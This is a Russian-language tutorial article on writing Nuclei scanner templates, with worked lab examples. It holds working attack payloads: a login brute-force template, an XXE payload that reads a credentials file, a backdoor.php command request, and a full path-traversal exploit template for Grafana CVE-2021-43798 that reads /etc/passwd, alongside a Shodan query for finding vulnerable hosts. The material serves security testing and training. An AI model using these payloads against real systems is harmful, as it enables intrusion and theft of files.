Приветствую тебя, уважаемый читатель. В данной статье изучим nuclei, исследуем его возможности и рассмотрим, как создавать кастомные шаблоны для эффективного тестирования безопасности веб-приложений.
Содержание
Базовый синтаксис:
Введение в синтаксис nuclei.
Примеры кода для лучшего понимания.
Пример сканера для проверки работы лаборатории
Шаги, необходимые для выполнения работы.
Подробный пример с пошаговым объяснением кода.
Написание темплейта для уязвимости (CVE):
Детали процесса написания темплейта.
Пример темплейта для определенной уязвимости CVE.
Заключение
Базовый синтаксис
Итак, для корректной работы Nuclei необходимо следующее:
Расширение .yaml
Каждый шаблон обязан иметь расширение .yaml
ID:
Каждый шаблон должен обязательно иметь уникальный идентификатор, именно с него и должен начинаться шаблон. Кроме того, идентификатор не должен содержать пробелов.
id: first_template
Информация о шаблоне
Для каждого шаблона обязательными являются поля "author", "name" и "severity", однако так же рекомендуется добавить подробное описание, ссылки и теги, чтобы легче было понять его назначение и функциональность.
info:
name: First template
author: SidneyJob
severity: high
description: My first nuclei template for my article
reference: https://sidneyjob.ru
tags: first,cve,learn,nuclei
Запросы:
Чтобы взаимодействовать с веб-приложением, в шаблоне необходимо указать по крайней мере один запрос. В запросе определяются метод, путь, заголовки, тело запроса и другие параметры. Начинаются запросы в шаблоне с помощью поля http:
http:
Далее, нам необходимо определить метод, по которому будет происходить взаимодействие с сайтом. Метод запроса может быть GET, POST, PUT, DELETE и т. д. в зависимости от потребностей.
method: GET
Путь указывается с помощью поля "path". Пример запроса, используя который nulcei будет отправлять запрос к файлу "secret_file_for_sove_cve.txt"
http:
method: GET
path:
- "{{BaseURL}}/secret_file_for_sove_cve.txt"
Вместо ссылки я указал {{BaseURL}} — это динамические переменные, которые могут быть помещены в путь, чтобы изменить его поведение во время выполнения. Переменные начинаются с "{{" и заканчиваются на "}}" и чувствительны к регистру.
Примеры динамических переменных:
{{BaseURL}} — заменит во время выполнения в запросе входной URL-адрес, указанный в целевом файле.
{{RootURL}} — заменит во время выполнения в запросе корневой URL-адрес, указанный в целевом файле.
{{Hostname}} — переменная имени хоста заменяется именем хоста, включая порт цели во время выполнения.
{{Host}} — заменит во время выполнения в запросе входной хост, как указано в целевом файле.
{{Port}} — время выполнения в запросе будет заменен входной порт, указанный в целевом файле.
{{Path}} — во время выполнения в запросе будет заменен входной путь, указанный в целевом файле.
{{File}} — заменит во время выполнения в запросе имя входного файла, указанное в целевом файле.
{{Scheme}} — во время выполнения в запросе будет заменена схема протокола, указанная в целевом файле.
Переменная | Значение |
{{BaseURL}} | |
{{RootURL}} | |
{{Hostname}} | example.com:443 |
{{Host}} | example.com |
{{Port}} | 443 |
{{Path}} | /foo |
{{File}} | bar.php |
{{Scheme}} | https |
Другим способом создания запроса является использование необработанных запросов (RAW), которые обеспечивают большую гибкость
http:
- raw:
- |
POST /some_path_for_cve/backdoor.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=SidneyJob&cmd=ls%20-la
Формат запроса RAW также поддерживает различные вспомогательные функции,
позволяющие нам манипулировать входными данными во время выполнения.
Пример использования вспомогательной функции.
http:
- raw:
- |
GET /admin/some_private_page HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('username:password')}}
Вы можете найти полный список всех вспомогательных функций на официальном сайте или в моем телеграм-канале в формате PDF-файла.
Проверка (Matchers):
Проверки используются для определения соответствия ответов на запросы определенным критериям. Например, можно проверить наличие определенной строки в ответе сервера или определенный HTTP-код ответа.
Всего есть 6 типов проверок:
Тип сопоставления | Нужен для |
status | Проверки ответа по статусу ответа |
size | Проверки ответа по длине ответа |
word | Проверки ответа по вхождению в него заданного слова |
regex | Проверки ответа с помощью регулярных выражений |
binary | Проверки ответа, который закодирован в hex |
dsl | Создания более сложных выражений с помощью вспомогательных функций. |
Давайте создадим шаблон, который будет искать файл cve_proof.txt в корне веб-сайта.
id: first_template
info:
name: First template
author: SidneyJob
severity: high
description: My first nuclei template for my article
reference: https://sidneyjob.ru
tags: first,cve,learn,nuclei
http:
- method: GET
path:
- "{{BaseURL}}/cve_proof.txt"
matchers:
- type: status
status:
- 200
Как читать данный шаблон?
Этот шаблон называется "first_template" и является первым шаблоном, созданным автором SidneyJob. Он имеет высокую степень серьезности и используется для статьи автора. Все подробности и ссылки можно найти на сайте SidneyJob.ru. Шаблон также имеет теги: first, cve, learn, nuclei, которые помогут сортировать и находить его.
Описание работы шаблона построчно:
Объявление раздела "http".
Указание метода запроса "GET".
Указание пути, по которому будет осуществляться поиск файла. В данном случае - "{{BaseURL}}/cve_proof.txt". Здесь "{{BaseURL}}" является переменной, которая будет заменена на актуальный URL во время выполнения шаблона.
Определение матчеров (сопоставителей), используемых для проверки ответного кода сервера.
Определение типа матчера "status" (код состояния).
Указание ожидаемого статуса сервера "200" - успех.
Таким образом данный шаблон отправляет GET-запрос к указанному пути на веб-сайте, заменяя переменную "{{BaseURL}}" на актуальный URL. Затем он проверяет ответный статус код - если код состояния сервера равен 200, то считается, что файл cve_proof.txt найден.
Пример сканера для проверки работы лаборатории
У нас есть лаборатория, которую мы создали с моим коллегой, чтобы предоставить возможность практиковать свои навыки в тестировании веб-приложений. Однако, каждый раз вручную проверять все задания после обновлений является неэффективным подходом. Поэтому я предлагаю вам написать собственные шаблоны, которые автоматически проверят корректность работы. Такой подход поможет нам не только автоматизировать процесс проверки, но и отточить ваши навыки в написании шаблонов.
Я рекомендую вам сначала выполнить задание в лаборатории (еще некоторое время будет хоститься здесь), а затем написать шаблон для автоматической эксплуатации обнаруженной уязвимости. Такой подход позволит вам извлечь максимальную пользу из данной лаборатории.
Совместно с вами мы рассмотрим два шаблона для задания на уязвимость POST-брутфорс, а также задание на XXE.
Начнем с задания на POST-брутфорс
id: post_brute
info:
name: Check SidneyJob and cherepawwka lab
author: SidneyJob
severity: low
description: Check correct post_brute
http:
- raw:
- |
GET / HTTP/2
Host: {{Hostname}}
- |
POST /postbrute HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
payloads:
username: ./pass
password: ./pass
cookie-reuse: true
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "flag{"
attack: clusterbomb
id: post_brute
: Здесь указывается уникальный идентификатор для шаблона, равный "post_brute".info:
: Этот раздел предоставляет общую информацию о шаблоне.name: Check SidneyJob and cherepawwka lab
: Название шаблона, указывающее на его цель - проверка лаборатории SidneyJob и cherepawwka.author: SidneyJob
: Указывается автор шаблона.severity: low
: Дает представление о уровне серьезности связанной с этим шаблоном уязвимости.description: Check correct post_brute
: Краткое описание того, что делает шаблон, а именно проверку правильности post_brute.
http:
: В этом разделе определяются HTTP-запросы, которые будут отправлены во время сканирования.raw:
: Указывается использование необработанного формата HTTP-запроса.- |
: Обозначает многострочный синтаксис YAML.GET / HTTP/2
: Представляет первый HTTP-запрос, который является GET-запросом к корневому пути ("/") с использованием протокола HTTP/2.Host: {{Hostname}}
: Используется заполнитель ({{Hostname}}), который будет заменен фактическим именем хоста во время выполнения.POST HTTP/2
: Представляет второй HTTP-запрос, который является POST-запросом с использованием протокола HTTP/2.Content-Type: application/x-www-form-urlencoded
: Указывает тип содержимого полезной нагрузки POST-запроса.username={{username}}&password={{password}}
: Определяет данные формы для полезной нагрузки POST-запроса, где {{username}} и {{password}} являются заполнителями.
payloads:
: Здесь указываются полезные нагрузки, которые будут использоваться для шаблона.username: ./pass
: Означает, что данная полезная нагрузка будет извлекаться из локального файла.password: ./pass
: Означает, что данная полезная нагрузка будет извлекаться из локального файла.
cookie-reuse: true
: Позволяет Nuclei повторно использовать куки в различных запросах.stop-at-first-match: true
: Указывает Nuclei прекратить сканирование дальше, если найдено соответствие.matchers:
: Определяются механизмы поиска определенных шаблонов в ответе.- type: word
: Указывается тип механизма поиска, который в данном случае является "word" для поиска определенных слов.part: body
: Означает, что механизм поиска должен искать указанные слова в теле ответа.words: - "flag{"
: Указывается список слов, которые необходимо найти в теле ответа. В данном случае ищется слово "flag{".
attack: clusterbomb
: Настраивает тип атаки для данного шаблона, который в данном случае является "clusterbomb" для отправки нескольких запросов параллельно.
Пояснение к 3-ему пункту: В данном разделе представлены два HTTP-запроса. Причина для этого связана с особенностями архитектуры лаборатории. Пока пользователю не присвоены cookie, сайт будет перенаправлять его на главную страницу. Чтобы использовать присвоенные нам cookie в первом запросе, мы воспользовались возможностью, указанной в 5-ом пункте: cookie-reuse: true. Таким образом, мы можем повторно использовать куки во втором запросе, что позволяет нам получить доступ к определенным функциональностям сайта и провести дополнительные проверки на наличие уязвимостей.
Перейдем к заданию на эксплуатацию XXE
id: xxe
info:
name: Check SidneyJob and cherepawwka lab
author: SidneyJob
severity: low
description: Check correct xxe page
http:
- raw:
- |
GET / HTTP/2
Host: {{Hostname}}
- |
POST /doLogin HTTP/2
Host: {{Hostname}}
Content-Type: application/xml;charset=utf-8
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///app/creds.txt" > ]>
<user>
<username>&xxe;</username><password>f</password></user>
cookie-reuse: true
matchers:
- type: word
part: body
words:
- "My uncrackable creds"
id: xxe:
Эта строка присваивает шаблону идентификатор "xxe".info:
Этот блок содержит общую информацию о шаблоне.name: Check SidneyJob and cherepawwka lab:
Эта строка указывает название шаблона, которое является "Check SidneyJob and cherepawwka lab".author: SidneyJob:
Эта строка указывает автора шаблона, который является "SidneyJob".severity: low:
Эта строка указывает уровень серьезности шаблона, который является "низким".description: Check correct xxe page
: Эта строка предоставляет краткое описание того, что проверяет шаблон, а именно "Проверяет правильность xxe-страницы".
http::
Эта строка начинает секцию HTTP-запросов шаблона, где определяются сами запросы и ответы.raw::
Эта строка указывает, что мы используем непосредственные (raw) HTTP-запросы в данном шаблоне.GET / HTTP/2:
Это первый непосредственный (raw) HTTP-запрос типа GET. Он извлекает корневую страницу ("/") с использованием протокола HTTP/2.Host: {{Hostname}}:
Эта строка использует заполнитель "{{Hostname}}", который будет заменен на фактическое имя хоста во время выполнения шаблона.
POST HTTP/2:
Это второй непосредственный (raw) HTTP-запрос типа POST. Он отправляет XML-данные на сервер.Host: {{Hostname}}
: Аналогично предыдущему запросу, эта строка использует заполнитель "{{Hostname}}".Content-Type: application/xml;charset=utf-8:
Эта строка указывает тип контента запроса как XML с кодировкой UTF-8.Следующие строки содержат XML-данные. Они устанавливают имя пользователя в виде XML-сущности с именем "xxe" и включают ссылку на файл на сервере ("file:///app/creds.txt") для значения "xxe". Также устанавливается пароль на "f".
cookie-reuse: true:
Эта строка указывает, что шаблон должен повторно использовать полученные куки во время выполнения запросов.
matchers
:: Этот блок определяет сопоставители ответов для проверки, являются ли выполнены определенные условия.- type: word:
Эта строка указывает тип сопоставителя, который является "словом".- part: body:
Эта строка указывает, что сопоставление должно выполняться в теле ответа.- words:
Эта строка содержит список слов, которые должны присутствовать в теле ответа для успешного сопоставления. В данном случае ожидается наличие слова "My uncrackable creds".
Написание темплейта для уязвимости (CVE):
Предполагаю, что к настоящему моменту вы уже понимаете принцип создания шаблонов для nuclei. Однако, перед тем как закончим, давайте напишем шаблон для какой-нибудь уязвимости. Для нашего примера я выбрал CVE-2021-43798 (Grafana 8.3.0 - Directory Traversal and Arbitrary File Read). Мы с вами создадим шаблон Nuclei, чтобы искать именно эту уязвимость.
Давайте начнем с поиска контейнера с уязвимой версией Grafana на Docker Hub и запуска его. Выполним следующую команду:
docker pull grafana/grafana:8.3.0
docker run -p 80:3000 --name getsimple --rm grafana/grafana:8.3.0
Теперь уязвимая версия Grafana доступа по ссылке http://127.0.0.1 и можно приступать к тестированию и настройке нашего шаблона.
Начнем с оформления части с информацией
id: grafana830
#Это идентификатор шаблона, который помогает уникально идентифицировать эту уязвимость.
info:
#В этом блоке содержится информация о шаблоне, такая как название, автор, уровень серьезности и описание.
name: Template for find CVE-2021-43798
#Здесь указывается название шаблона, которое описывает его цель - поиск уязвимости CVE-2021-43798.
author: SidneyJob
#Это имя автора шаблона.
severity: high
#Уровень серьезности уязвимости указывается как "high" (высокий).
description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0
#Здесь предоставляется описание уязвимости, в данном случае, она связана с произвольным чтением и обходом директорий в Grafana версии 8.3.0.
reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581
#Предоставляются ссылки на дополнительные ресурсы, где можно узнать больше об уязвимости или найти эксплоиты.
tags: DT,fileread,grafana
#Здесь перечисляются теги для данного шаблона, которые помогают классифицировать его и упрощают поиск.
metadata:
#В блоке metadata содержится метаданные шаблона, которые помогают в поиске уязвимостей.
shodan-query: 'vuln:CVE-2021-43798'
#В этом случае, используется Shodan запрос 'vuln:CVE-2021-43798', чтобы найти уязвимые устройства, связанные с CVE-2021-43798.
Давайте воспользуемся публичным эксплоитом для получения всех доступных плагинов и используем вспомогательную функцию repeat
.
payloads:
passwd_file:
- '{{repeat("../", 10)}}'
plugins:
- alertlist
- annolist
- barchart
- bargauge
- candlestick
- cloudwatch
- dashlist
- elasticsearch
- gauge
- geomap
- gettingstarted
- grafana
- azure
- monitor
- datasource
- graph
- heatmap
- histogram
- influxdb
- jaeger
- logs
- loki
- mssql
- mysql
- news
- nodeGraph
- opentsdb
- piechart
- pluginlist
- postgres
- prometheus
- stackdriver
- stat
- state
- timeline
- status
- histor
- table
- table
- old
- tempo
- testdata
- text
- timeseries
- welcome
- zipkin
Дополнительно мы добавим два параметра:
attack: clusterbomb
stop-at-first-match: true
Первый параметр attack: clusterbomb
будет позволять перебирать все возможные варианты плагинов, а второй параметр stop-at-first-match: true
позволит прекратить поиск, как только будет найден первый успешный плагин.
Ну и напоследок нам нужно добавить в шаблон проверку, чтобы убедиться что эксплоит отработал успешно
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
Финальный вид шаблона:
id: grafana_8_3_0
info:
name: Template for find CVE-2021-43798
author: SidneyJob
severity: high
description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0
reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581
tags: DT,file_read,grafana
metadata:
shodan-query: 'vuln:CVE-2021-43798'
http:
- method: GET
path:
- "{{BaseURL}}/public/plugins/{{plugins}}/{{passwd_file}}etc/passwd"
attack: clusterbomb
stop-at-first-match: true
payloads:
passwd_file:
- '{{repeat("../", 10)}}'
plugins:
- alertlist
- annolist
- barchart
- bargauge
- candlestick
- cloudwatch
- dashlist
- elasticsearch
- gauge
- geomap
- gettingstarted
- grafana
- azure
- monitor
- datasource
- graph
- heatmap
- histogram
- influxdb
- jaeger
- logs
- loki
- mssql
- mysql
- news
- nodeGraph
- opentsdb
- piechart
- pluginlist
- postgres
- prometheus
- stackdriver
- stat
- state
- timeline
- status
- histor
- table
- table
- old
- tempo
- testdata
- text
- timeseries
- welcome
- zipkin
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
Заключение
В заключение, использование шаблонов nuclei для тестирования веб-приложений является мощным инструментом, способствующим повышению качества и надежности разрабатываемых веб-приложений. Шаблоны nuclei предоставляют эффективный способ тестирования веб-приложений, позволяя создавать реалистичные и масштабируемые сценарии использования.
Призываю Вас к дальнейшему изучению и применению полученных знаний, чтобы достичь более высокого уровня автоматизации и эффективности в процессе тестирования приложений.
Хотелось бы выразить искреннюю благодарность всем читателям за то, что вы уделили время на прочтение этой статьи. Я надеюсь, что представленная информация о создании шаблонов nuclei была полезной и информативной для вас.
С уважением, @SidneyJob